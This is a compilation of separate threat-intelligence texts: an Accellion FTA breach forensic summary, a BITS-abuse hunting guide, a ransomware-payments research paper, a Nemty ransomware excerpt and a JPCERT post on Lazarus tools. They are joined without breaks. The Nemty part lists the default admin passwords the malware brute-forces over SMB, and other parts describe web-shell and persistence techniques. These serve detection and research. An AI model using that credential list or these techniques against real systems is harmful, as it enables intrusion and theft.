Accellion releases patch FTA 9.12.444, addressing CVE-2021-27730 and CVE-2021-27731 ### Forensic Analysis **Materials Reviewed** In analyzing the Exploited Vulnerabilities previously identified by Accellion – SQL Injection (CVE-2021-27101), Server-Side Request Forgery (SSRF) (CVE-2021-27103), and OS Command Execution (CVE-2021-27102, CVE-2021-27104) – Mandiant had access to and reviewed forensic images from ten (10) affected Accellion FTA instances. The majority of the instances reflected activity associated with the December Exploit, while the others reflected activity associated with the January Exploit. **How the Attack Operated** **December Exploit** With respect to the December Exploit, Mandiant observed that the attacker chained together the following vulnerabilities: SQL Injection (CVE-2021-27101) and OS Command Execution (CVE-2021-27104). The attacker leveraged the SQL Injection vulnerability against the file document_root.html to retrieve “W” keys from the Accellion FTA database. These keys were then used to generate valid tokens that allowed the attacker to then make additional requests to a file named sftp_account_edit.php. While abusing the OS Command Execution vulnerability in this file, the attackers were able to execute their own commands, resulting in the creation of a web shell written to /home/seos/courier/oauth.api. The attacker likely used the newly created oauth.api web shell to upload a custom, more full-fledged web shell with the filename of about.html (variant 1) to disk, which included highly customized tooling designed to facilitate exfiltration of data from the FTA system. The DEWMODE web shell extracts a list of available files from a MySQL database on the targeted Accellion FTA system and lists those files and corresponding metadata (file ID, path, filename, uploader, and recipient) on an HTML page. File download requests are captured in the web logs for the Accellion FTA system, which will contain requests to the DEWMODE web shell with encrypted and encoded URL parameters. The uploading of the DEWMODE web shell to the file location where the attacker placed it had the effect of tripping the built-in anomaly detector included in the FTA software. Once the anomaly detector is tripped, it generates an email alert to the customer, advising the customer to contact Accellion for support. **January Exploit** Mandiant observed that, after the December 20, 2020 release of patch 9.12.380, the attacker pivoted to a new technique involving Server-Side Request Forgery (SSRF) (CVE-2021-27103) and OS Command Execution (CVE-2021-27102). The attacker chained together an SSRF vulnerability with a Command Execution vulnerability to execute commands on the system. Both Exploits demonstrate a high level of sophistication and deep familiarity with the inner workings of the Accellion FTA software, likely obtained through extensive reverse engineering of the software. ### Indicators of Compromise Based on Mandiant’s review of the logs and images available for analysis, the attacker activity generated the following signatures for each affected customer, all of which should be considered as signs of potential compromise: **December Exploit** - /home/seos/courier/about.html (DEWMODE) - /home/seos/courier/httpd.pid - /home/seos/courier/oauth.api - /home/seos/courier/DF - /tmp/.out - /tmp/.scr - /home/seos/courier/cache.jz.gz **January Exploit** - /home/httpd/html/about.html (DEWMODE) - /home/httpd/html/httpd.pid - /home/httpd/html/oauth.api - /home/httpd/html/DF - /tmp/.out - /tmp/.scr - /home/httpd/html/cache.jz.gz ### Validation of Accellion’s Remediation of the Exploited Vulnerabilities Accellion issued a patch addressing the vulnerabilities associated with the December Exploit on December 20, 2020, and a patch addressing the vulnerabilities associated with the January Exploit on January 25, 2021. Mandiant’s analysis confirmed that the patches successfully closed these Exploited Vulnerabilities, and that no other vulnerabilities were exploited as part of the attack activity. ### Testing FTA for Additional Vulnerabilities Accellion also asked Mandiant to review the Accellion FTA software for any other vulnerabilities beyond the Exploited Vulnerabilities. Mandiant’s review relied on both source code analysis and dynamic penetration testing. Mandiant identified two new findings for authenticated users, consisting of Argument Injection (CVE-2021-27730) and Stored Cross-Site Scripting (CVE-2021-27731). The Argument Injection finding yielded a CVSS v3.0 score of 6.6 (medium severity) and the Stored Cross-Site Scripting finding was rated 8.1 (high severity). After being alerted to Mandiant’s findings, Accellion developed FTA patch 9.12.444 to address these newly identified findings. Mandiant validated that the patch effectively remediated these vulnerabilities, specifically attempting to exploit FTA version 9.12.444 and confirming that injected input was correctly sanitized. **Disclaimer:** While every precaution has been taken in the preparation of this document, neither Accellion nor Mandiant assumes any responsibility for errors or omissions resulting from the use of the information herein.
# Hunting for Suspicious Usage of Background Intelligent Transfer Service (BITS) ## BITS Overview Background Intelligent Transfer Service (BITS) is used by programmers and system administrators to download files from or upload files to HTTP web servers and SMB file shares. BITS takes the cost of the transfer into consideration, as well as the network usage, so that the user's foreground work has as little impact as possible. BITS also handles network interruptions, pausing and automatically resuming transfers, even after a reboot, making it a good candidate for implant Command and Control standard tasks (download, upload, and ex-filtration). BITS includes PowerShell cmdlets for creating and managing transfers as well as the BitsAdmin command-line utility. BITS is composed of a Client (i.e., bitsadmin, PowerShell) loading Bitsproxy.dll, qmgrprxy.dll, or Microsoft.BackgroundIntelligentTransfer.Management.Interop.dll and a Server (svchost.exe with the process's command-line value containing the keyword "BITS" and hosting the service DLL qmgr.dll). Communication between the BITS client and server is performed via RPC, and the IBackgroundCopyManager is the main BITS interface used to enumerate or create new BITS Jobs. From a behavior perspective, all the download and upload activities are performed by the BITS server (svchost.exe) impersonating the BITS client, which breaks the link between the client and the server if using standard monitoring telemetry such as Sysmon network and file creation events. BITS can also be abused for persistence by setting a command to run every time a JOB transfer job enters the BG_JOB_STATE_ERROR or BG_JOB_STATE_TRANSFERRED state using the IBackgroundCopyJob2::SetNotifyCmdLine method (i.e., bitsadmin.exe /SetNotifyCmdLine), resulting in a malicious program or command being run persistently on a target system. ## Detection and Hunting From a detection and forensics perspective, Windows provides good logging events for the BITS client activities via the Microsoft-Windows-Bits-Client provider (enabled by default). Key events are: - **EventID 3** - BITS service created a new Job - **EventID 59** - BITS started the `<jobname>` transfer job that is associated with a URL. - **EventID 60** - BITS stopped transferring the `<jobname>` transfer job that is associated with a URL. The status code is 0xxxx. - **EventID 4** - The transfer job is complete - **EventID 5** - Job cancelled. - Other events related to performance and transfer errors. Events such as 59, 60, and 61 contain the download/upload URL (very useful for forensics and detection), and event 3 contains the details of the BITS client process path and the Job name (very useful for detecting abnormal BITS clients). ### A) Unusual BITS Client By default, on a Windows machine, there are a limited number of BITS clients (native Windows binaries), and the majority are related to third-party programs such as browsers. To baseline the clients, we can use Bitsproxy.dll or qmgrprxy.dll ImageLoad events (such as Sysmon EventId 7) or BITS Client Event Logs EventId 3. By default, the following are the known normal BITS clients with process paths residing under `c:\windows\` directory: - `c:\Windows\SysWOW64\bitsadmin.exe` - `c:\Windows\System32\MDMAppInstaller.exe` - `c:\Windows\System32\DeviceEnroller.exe` - `c:\Windows\SysWOW64\OneDriveSetup.exe` - `c:\Windows\System32\ofdeploy.exe` - `c:\Windows\System32\directxdatabaseupdater.exe` - `c:\Windows\System32\MRT.exe` - `c:\Windows\System32\aitstatic.exe` - `c:\Windows\System32\desktopimgdownldr.exe` - `c:\Windows\System32\Speech_OneCore\common\SpeechModelDownload.exe` - `c:\Windows\System32\RecoveryDrive.exe` - `c:\Windows\System32\svchost.exe` (BITS service) Excluding the above, we can hunt/detect for unusual clients. ### B) Program Execution via BITS SetNotifyCmdline Persistence Programs set to execute via the SetNotifyCmdline method are a child of the BITS service. There are some legitimate instances, especially signed programs running from program files directories, but it's quite rare. ### C) Execution of a File Downloaded via BITS Service To hunt for executable content that is downloaded via BITS service and immediately executed, we can correlate File rename events (old file name always follows the pattern BITXXXX.tmp and is renamed to the target file name) by the BITS service followed by process execution by file.path/process.executable. There are other scenarios, but that should give you an idea of the building blocks and how to spot unusual combinations.
# A Tale of Two Markets: Investigating the Ransomware Payments Economy **Kris Oosthoek** Delft University of Technology **Jack Cable** Independent Researcher **Georgios Smaragdakis** Delft University of Technology ## ABSTRACT Ransomware attacks are among the most severe cyber threats. They have made headlines in recent years by threatening the operation of governments, critical infrastructure, and corporations. Collecting and analyzing ransomware data is an important step towards understanding the spread of ransomware and designing effective defense and mitigation mechanisms. We report on our experience operating Ransomwhere, an open crowdsourced ransomware payment tracker to collect information from victims of ransomware attacks. With Ransomwhere, we have gathered 13.5k ransom payments to more than 87 ransomware criminal actors with total payments of more than $101 million. Leveraging the transparent nature of Bitcoin, the cryptocurrency used for most ransomware payments, we characterize the evolving ransomware criminal structure and ransom laundering strategies. Our analysis shows that there are two parallel ransomware criminal markets: commodity ransomware and Ransomware as a Service (RaaS). We notice that there are striking differences between the two markets in the way that cryptocurrency resources are utilized, revenue per transaction, and ransom laundering efficiency. Although it is relatively easy to identify choke points in commodity ransomware payment activity, it is more difficult to do the same for RaaS. ## 1 INTRODUCTION Ransomware, a form of malware designed to encrypt a victim’s files and make them unusable without payment, has quickly become a threat to the functioning of many institutions and corporations around the globe. In 2021 alone, ransomware caused major hospital disruptions in Ireland, empty supermarket shelves in the Netherlands, the closing of 800 supermarket stores in Sweden, and gasoline shortages in the United States. In a recent report, the European Union Agency for Cybersecurity (ENISA) ranked ransomware as the “prime threat for 2020-2021.” The U.S. government reacted to high-profile attacks against U.S. industries by declaring ransomware a national security threat and announcing a “coordinated campaign to counter ransomware.” Other governments, including the United Kingdom, Australia, Canada, and law enforcement agencies, such as the FBI and Europol, have also launched similar programs to defend against ransomware and offer help to victims. To the criminal actors behind these attacks, the resulting disruption is just ‘collateral damage.’ A handful of groups and individuals, with names such as NetWalker, Conti, REvil, and DarkSide, have received tens of millions in USD as ransom. But this is just the top of the food chain in an ecosystem with many grey areas, especially when it comes to laundering illicit proceedings. In this article, we will provide a closer look at the ecosystem behind many of the attacks plaguing businesses and societies, known as Ransomware as a Service (RaaS). Cryptocurrencies remain the payment method of choice for criminal ransomware actors. While many cryptocurrencies exist, Bitcoin is preferred due to its network effects, resulting in wide exchange options. Bitcoin’s sound monetary features as a medium of exchange, unit of account, and store of value make it attractive to criminals as it is to regular citizens. According to the U.S. Department of Treasury, based on data from the first half of 2021, the “vast majority” of reported ransomware payments were made in Bitcoin. Law enforcement agencies have started to disrupt ransomware actors by obtaining personal information of users from Bitcoin exchange platforms. This is realized through anti-money laundering regulations such as Know Your Customer (KYC), which require legal identity verification during registration with the service. While cryptocurrencies such as Bitcoin are enablers of ransomware, blockchain technology also offers unprecedented opportunities for forensic analysis and intelligence gathering. Using our crowdsourced ransomware payment tracker, Ransomwhere, we compile a dataset of 7,321 Bitcoin addresses which received ransom payments, based on which we shed light on the structure and state of the ransomware ecosystem. Our contributions are as follows: - We collect and analyze the largest public dataset of ransomware activity to date, which includes 13,497 ransom payments to 87 criminal actors over the last five years, worth more than 101 million USD. - We characterize the evolving ransomware ecosystem. Our analysis shows that there are two parallel ransomware markets: commodity and RaaS. After 2019, we observe the rapid rise of RaaS, which achieves higher revenue per address and transaction, and higher overall revenue. - We also characterize ransom laundering strategies by commodity ransomware and RaaS actors. Our analysis of more than 13k transfers shows striking differences in laundering time, utilization of exchanges, and other means to cash out ransom payments. - We discuss the difficulties defending against professionally operated RaaS and propose possible ways to traceback RaaS activity in cryptocurrency systems. - To enable future research in this area, we make our tracker, Ransomwhere, and the tracked ransomware payments of our analysis publicly available. ## 2 THE RANSOMWARE ECOSYSTEM The ransomware ecosystem and its payment traffic can be largely recognized in two categories: commodity ransomware and ransomware as a service (RaaS). ### 2.1 Commodity Ransomware In the early years of ransomware, the majority of ransomware that spread can be characterized as ‘commodity’ ransomware. Commodity ransomware is characterized by widespread targeting, fixed ransom demands, and technically adept operators. It usually targets a single device. Actors behind commodity ransomware are usually technically savvy, as most of the time it is developed and spread by the same person. Commodity ransomware operators take advantage of preexisting work, often copying and modifying leaked or shared source code, causing the formation of ransomware families. Historically, most commodity ransomware campaigns utilized phishing emails as the primary delivery vector and exploited vulnerabilities in common word processing and spreadsheet software, if not directly via malicious executables. The modus operandi was mass exploitation, rather than targeting specific victims. Exemplary are WannaCry and NotPetya ransomware families, which over a course of only two months impacted tens of thousands of organizations in over 150 countries by exploiting a vulnerability allegedly stolen from the NSA. In today’s standards, both families were poorly coded and their payment systems weren’t ready for business, although allegedly on purpose for NotPetya. With regard to its mitigation, the conventional advice is to have a proper backup and contingency plan. The initial philosophy was that a quick ability to restore would make it unnecessary to pay, impairing the financial incentive of ransomware operators. But it turned out that what we now regard as a commodity was just a proving ground for a higher-impact utilization of ransomware. ### 2.2 Ransomware as a Service (RaaS) While the first reports of Ransomware as a Service (RaaS) emerged in 2016, it wasn’t until 2019 that RaaS became widespread, rapidly capturing a large share of the ransomware market. We define RaaS as ransomware created by a core team of developers who license their malware on an affiliate basis. They often provide a payment portal (typically over Tor, an anonymous web protocol), allowing negotiation with victims and dynamic generation of payment addresses (typically Bitcoin). RaaS frequently employs a double extortion scheme, not only encrypting victims’ data, but also threatening to leak their data publicly. The rise of RaaS has enabled existing criminal groups to shift to a new lucrative business model where lower-skilled affiliates can access exploits and techniques previously reserved for highly-skilled criminals. This was exemplified by a leaked playbook from the RaaS group Conti, which enables novice actors to compromise enterprise networks. RaaS affiliates can differ markedly in their approaches. Some scan the entire internet and compromise any victims they can. Once they have identified the victim, they engage in price discrimination based on the victim company’s size. Affiliates may even use financial documents obtained in the attack to justify higher prices. Another strategy, known as big game hunting, targets big corporations that can afford paying a high ransom. Darkside is one of the most notable RaaS families whose affiliates practice big game hunting, including the notable Colonial Pipeline attack in 2021. RaaS families often rely on spear-phishing over the mass phishing mails utilized by commodity ransomware groups. They also exploit recently disclosed vulnerabilities, leaving remote and virtual desktop services vulnerable. RaaS has lowered the barrier to entry into cyber-criminality, as it has removed the initial expenditure to develop effective ransomware. As a result, attacks can be performed with near zero cost. Combined with high ransom demands, this has led to a low-risk, high-reward criminal scheme. RaaS has effectively weaponized the unpatched internet-facing technology of many unwitting organizations. Such organizations have significant financial interest to have systems restored and get back to business after a ransomware attack. ## 3 METHODOLOGY In this section, we describe how we collected data of ransom payments and ransomware actors in our study. ### 3.1 Addresses involved in Ransom Payments We obtain ransomware Bitcoin addresses from our crowdsourced payment tracker Ransomwhere. The Ransomwhere dataset contains Bitcoin addresses and associated families collected from open-sourced datasets and publicly submitted crowd-sourced reports. In total, the Ransomwhere dataset contains 7,457 Bitcoin addresses and their corresponding ransomware families. ### 3.2 Ransom Payments and Laundering The transparency of Bitcoin also allows us to collect information about (ransom) payments, i.e., the amount of Bitcoin received. For each address, we collected the number of incoming (payments) and outgoing (transfers) transactions, their value in Bitcoin, and their timestamp. We calculated the USD value of each transaction using the BTC-USD daily closing rate on the day of the transaction. This serves as an approximate ransom payment and not the exact amount in USD the criminal actors requested or later profited. The total ransom paid to addresses in our dataset is $101,297,569. The lowest payment received is $1, and the highest is $11,042,163. The median payment value is $1,176. In collaboration with Crystal Blockchain, we tracked the destination of outgoing transactions, i.e., transfers. In order to estimate addresses’ potential for illicit use, Crystal Blockchain utilizes clustering heuristics such as one-time change address and common-input ownership, as well as human collection of off-chain data from various cryptocurrency services. In addition to this, Crystal Blockchain scrapes online forums and other Internet services for Bitcoin addresses and their associated real-world entity. Based on this, it is possible to track payments several hops from the original deposit address. To have the most reliable view, in our analysis we have only regarded the direct destination of ransom payments (first hop). Based on the characterization of the involved addresses across the path, we are able to study the laundering strategies of ransomware groups as well as the time needed to wash out the money. ### 3.3 Ransomware Actors We obtained addresses and labeled families as described in Section 3.1. We categorized each ransomware family as used by either commodity ransomware or RaaS actors. Ransomware is generally categorized as RaaS due to the use of an affiliate structure, with the ransomware developer (operator) selling the ransomware to criminal actors either based on a commission for each ransom paid, or a flat monthly fee (as a service, like many subscription-based services). As there does not exist any comprehensive public list of RaaS groups, we have labeled a family as RaaS if a reliable industry or law enforcement source claims that a given ransomware is sold as a service. A list of commodity and RaaS families in our dataset is presented in Table 2. ## 4 RANSOM PAYMENT ANALYSIS In this section, we analyze 13,497 payments to the Bitcoin addresses owned by ransomware actors in our dataset. A payment is a transaction received by an address in our dataset. Table 2 lists the ransomware families used by the actors in our dataset. Our dataset contains Bitcoin addresses associated with 87 commodity ransomware or RaaS actors. For reasons of brevity, families for which our dataset contains just 1 address are excluded from Table 2. The 16 actors that are reclassified as RaaS, highlighted in Table 2, account for 7,160 out of 7,321 addresses in our dataset. ### 4.1 Ransomware Revenue In Figure 2, we list 15 ransomware families with the highest revenue. The top-grossing families are dominated by RaaS: NetWalker has the highest revenue, $26.7 million, followed by Conti ($16.4 million), REvil/Sodinokibi ($12.1 million), DarkSide ($9.1 million), and Locky ($8.1 million). All commodity actors combined account for a total revenue of $5.5 million. Although the number of RaaS actors is lower, they together earned $95.7 million. ### 4.2 Ransomware Payment Characteristics RaaS actors are not only more effective in terms of profits, but also in handling payments. They typically have higher revenue per address, while also generating unique addresses for victims. In Figure 4, we show the cumulative distribution of received payments between commodity and RaaS actors. Commodity ransomware actors typically use single wallet addresses to receive hundreds of ransom payments. The highest amount of payments to a single address is 697 to AES-NI, followed by 496 to SynAck and 441 to File-Locker. While these are outliers, Figure 4 shows that using a single address to receive upwards of 100 payments is not unusual. In contrast, RaaS actors almost exclusively use a new wallet address to receive each payment, as observed in Figure 4 (right). An outlier is an address associated with NetWalker which has received 138 payments. This address is likely an intermediate payment address, combining payments from many victims, discovered during McAfee Labs’ investigation into NetWalker. The distribution of unique addresses per commodity ransomware and RaaS actor is presented in Figure 5. In stark contrast to the revenue from ransom activities, presented in Figure 3, the number of addresses used in recent years are low, on the order of tens per month. We suspect that RaaS actors prefer to create new addresses for each new ransom payment in order to ensure their pseudo-anonymity, and thus make legal investigations and takedowns more difficult. ## 5 MONEY LAUNDERING ANALYSIS In the previous section, we investigated ransom payments by victims to ransomware actors. In the next section, we investigate 13,097 laundering transactions in our dataset to shed light on how these actors liquidate their illicit earnings. ### 5.1 Laundering Strategies To avoid exposing their identity, ransomware actors will usually launder their revenue. After routing funds through one or more services to obfuscate the money trail, it is cashed out as legal tender or monetized through the purchase of voucher codes or physical goods. In Figure 6, we show the number of transfer transactions per address. The number of transfer (outgoing) transactions provides insight on how actors prefer to initialize their laundering. In short, we see that RaaS actors mostly prefer to empty the deposit address in one transaction, whereas commodity actors prefer multiple smaller transactions, up to hundreds, in some cases more. Hence commodity ransomware actors are less sophisticated. For example, three commodity ransomware actors with the most payments per address (File-Locker, SynAck, AES-NI) also have the most outgoing transactions. While the motivation for this behavior remains unclear, given that law enforcement scrutiny was relatively low, it is likely that the commodity actors took advantage of the ability to cash out more frequently with little risk. This is further supported by their choice of laundering entities. Almost all ransomware actors in our dataset launder their proceedings entirely. The speed with which this happens can be inferred from the time between the first incoming payment to and the last outgoing transaction from the deposit address. We define this time duration in which ransomware actors start laundering after having received the payment as collect-to-laundry time. Note that this is not the total duration for cashing the ransom, but rather the time spent between starting to receive the ransom payment and transferring the payment received. ### 5.2 Challenges in Fighting Laundering Contrary to popular belief, Bitcoin isn’t anonymous but pseudo-anonymous. Forensic analysis might link a Bitcoin address to a real-world identity, especially when an exchange platform is used to convert between fiat currency and Bitcoin. In most jurisdictions, legal entities behind such platforms are held to Know Your Customer (KYC) legislation, which requires them to verify the identity of every user signing up for their service. During an investigation, when known illicit Bitcoin is routed through an exchange that requires KYC, authorities have a chance to identify the culprit. Several industry players support law enforcement in such AML investigations, with technology based on clustering algorithms which can link addresses to a service such as an exchange platform. Laundering can involve routing illicit funds through several hops before cashing out. As it is difficult to know where actual ownership has terminated after several hops, in this analysis we only regard the first hop, i.e., the first transfer transaction. This is the service to which actors transfer funds directly after having obtained them at the deposit address shared with the victim. As this has the closest link to the payment address, this is the first point of investigation for law enforcement. An actor choosing to cash out through a service that requires KYC implies that they trust the service, at least enough not to disclose their identity. ## 6 CONCLUSION Ransomware is a severe, growing threat plaguing our world. In this paper, we take a data-driven and “follow the money” approach to characterize the structure and evolution of the ransomware ecosystem. To this end, we report on our experience in operating Ransomwhere, our open crowdsourced ransomware payment tracker to collect information from victims of ransomware attacks. By analyzing a corpus of more than 13.5k ransom payments with a total revenue of more than $101 million, we shed light on the practices of these criminal actors over the last years. Our analysis unveils that there are two symbiotic, parallel markets: commodity ransomware actors, and (dominant since 2019) Ransomware as a Service (RaaS) actors. The first is operated by individuals or a small group of programmers, the second by professional criminals who offer it on an affiliate basis to typically less technical criminal actors. Due to differences in victimization, the first has low ransom amounts, the latter higher ransom amounts depending on the victim profile. Our analysis of ransom payments (all in Bitcoin) shows that RaaS actors have adopted more sophisticated cryptographic techniques, compared to commodity actors, in their operation and typically generate one address per victim to hide their identity. This allows RaaS to generate more revenue and with a higher level of protection, attracting more criminal groups to use RaaS to perform high-profile attacks in recent years. RaaS actors are also more efficient to launder ransom payments, as they move to launder funds within hours or days.
# Nemty Ransomware Expands Its Reach, Also Delivered by Trik Botnet From analysing the malware’s code, we can see that it skips the routine if the created IP address is a local one. The malware can infect public IP addresses with port 139 open that are using any of the common administrator usernames and passwords on its list. **Usernames:** Administrator, administrator, Admin, admin **Passwords:** 123, 1234, 12345, 123456, 1234567, 12345678, 123456789, 1234567890, 123123, 12321, 123321, 123abc, 123qwe, 123asd, 1234abcd, 1234qwer, 1q2w3e, a1b2c3, administrator, Administrator, admin, Admin, admin123, Admin123, admin12345, Admin12345, administrator123, Administrator123, nimda, qwewq, qweewq, qwerty, qweasd, 1/3asdsa, asddsa, asdzxc, asdfgh, qweasdzxc, q1w2e3, qazwsx, qazwsxedc, zxcxz, zxccxz, zxcvb, zxcvbn, passwd, password, Password, login, Login, pass, mypass, mypassword, adminadmin, root, rootroot, test, testtest, temp, temptemp, foofoo, foobar, default, password1, password12, password123, admin1, admin12, admin123, pass1, pass12, pass123, root123, abc123, abcde, abcabc, qwe123, test123, temp123, sample, example, internet, Internet. If access is granted, the malware uses the SMB protocol to copy itself to the remote machine. It then uses the Windows Service Control Manager to start the SMB component’s process on the remote machine. The sample running on the remote machine also checks for the presence of winsvcs.txt, which again determines whether or not Nemty is downloaded and executed.
# Commonly Known Tools Used by Lazarus It is widely known that attackers use Windows commands and tools that are commonly known and used after intruding their target network. The Lazarus attack group, a.k.a. Hidden Cobra, also uses such tools to collect information and spread the infection. This blog post describes the tools they use. ## Lateral movement These three tools are used for lateral movement. AdFind collects the information of clients and users from Active Directory. It has been observed that other attack groups also used the tool. SMBMap is used to have their malware infect other hosts. It has also been observed that Responder-Windows was used to collect information in the network. | Name | Description | |------------------|---------------------------------------| | AdFind | Command line tool to collect information from Active Directory | | SMBMap | Tool to list accessible shared SMB resources and access those files | | Responder-Windows | Tool to lead clients with spoof LLMNR, NBT-NS, and WPAD | ## Stealing sensitive data These three tools are used for information theft. Tools for such a purpose are used only in certain cases because malware itself usually has similar functions. Tools for collecting account information from browsers and email clients are particularly used. Attackers often archive collected files in RAR before exfiltration, and so does the Lazarus attack group using WinRAR. The malware can archive files in zlib and send them, meaning that files are not always sent in RAR. | Name | Description | |-------------------------------|----------------------------------------| | XenArmor Email Password Recovery Pro | Tool to extract credentials from email clients and services | | XenArmor Browser Password Recovery Pro | Tool to extract credentials from web browsers | | WinRAR | RAR archiver | ## Other tools These following tools are used for other purposes. Attackers sometimes create backdoors in the infected network using RDP, TeamViewer, VNC, and other applications. It is confirmed that Lazarus has used VNC and a common Microsoft tool ProcDump before. ProcDump is sometimes used when attackers attempt to extract user credentials from the LSASS process dump. Windows' counterpart of common Linux tools such as tcpdump and wget are also used. | Name | Description | |---------------|------------------------------------------| | TightVNC Viewer | VNC client | | ProcDump | Common Microsoft's tool to get process memory dump | | tcpdump | Packet capturing tool | | wget | Downloader | ## In closing This blog post described tools used by the Lazarus group. Although their malware contains many functions, they still supplement it with tools that are widely available and commonly known. It should be noted that anti-virus software may not detect such tools. The hash values of the tools covered in this blog post are listed in Appendix A. ## Appendix A: Hash value Be careful when using these hash values as IoC. The list contains tools that are commonly used for non-malicious purposes. - **AdFind** - CFD201EDE3EBC0DEB0031983B2BDA9FC54E24D244063ED323B0E421A535CFF92 - B1102ED4BCA6DAE6F2F498ADE2F73F76AF527FA803F0E0B46E100D4CF5150682 - **SMBMap** - 65DDF061178AD68E85A2426CAF9CB85DC9ACC2E00564B8BCB645C8B515200B67 - da4ad44e8185e561354d29c153c0804c11798f26915274f678db0a51c42fe656 - **Responder-Windows** - 7DCCC776C464A593036C597706016B2C8355D09F9539B28E13A3C4FFCDA13DE3 - 47D121087C05568FE90A25EF921F9E35D40BC6BEC969E33E75337FC9B580F0E8 - **XenArmor Email Password Recovery Pro** - 85703EFD4BA5B691D6B052402C2E5DEC95F4CEC5E8EA31351AF8523864FFC096 - **XenArmor Browser Password Recovery Pro** - 4B7DE800CCAEDEE8A0EDD63D4273A20844B20A35969C32AD1AC645E7B0398220 - **WinRAR** - CF0121CD61990FD3F436BDA2B2AFF035A2621797D12FD02190EE0F9B2B52A75D - EA139458B4E88736A3D48E81569178FD5C11156990B6A90E2D35F41B1AD9BAC1 - **TightVNC Viewer** - A7AD23EE318852F76884B1B1F332AD5A8B592D0F55310C8F2CE1A97AD7C9DB15 - 30B234E74F9ABE72EEFDE585C39300C3FC745B7E6D0410B0B068C270C16C5C39 - **Tcpdump** - 2CD844C7A4F3C51CB7216E9AD31D82569212F7EB3E077C9A448C1A0C28BE971B - 1E0480E0E81D5AF360518DFF65923B31EA21621F5DA0ED82A7D80F50798B6059 - **Procdump** - 5D1660A53AAF824739D82F703ED580004980D377BDC2834F1041D512E4305D07 - F4C8369E4DE1F12CC5A71EB5586B38FC78A9D8DB2B189B8C25EF17A572D4D6B7 - **Wget** - C0E27B7F6698327FF63B03FCCC0E45EFF1DC69A571C1C3F6C934EF7273B1562F - CF02B7614FEA863672CCBED7701E5B5A8FAD8ED1D0FAA2F9EA03B9CC9BA2A3BA ## Author **朝長 秀誠 (Shusei Tomonaga)** Since December 2012, he has been engaged in malware analysis and forensics investigation, and is especially involved in analyzing incidents of targeted attacks. Prior to joining JPCERT/CC, he was engaged in security monitoring and analysis operations at a foreign-affiliated IT vendor. He presented at CODE BLUE, BsidesLV, BlackHat USA Arsenal, Botconf, PacSec, and FIRST Conference. JSAC organizer.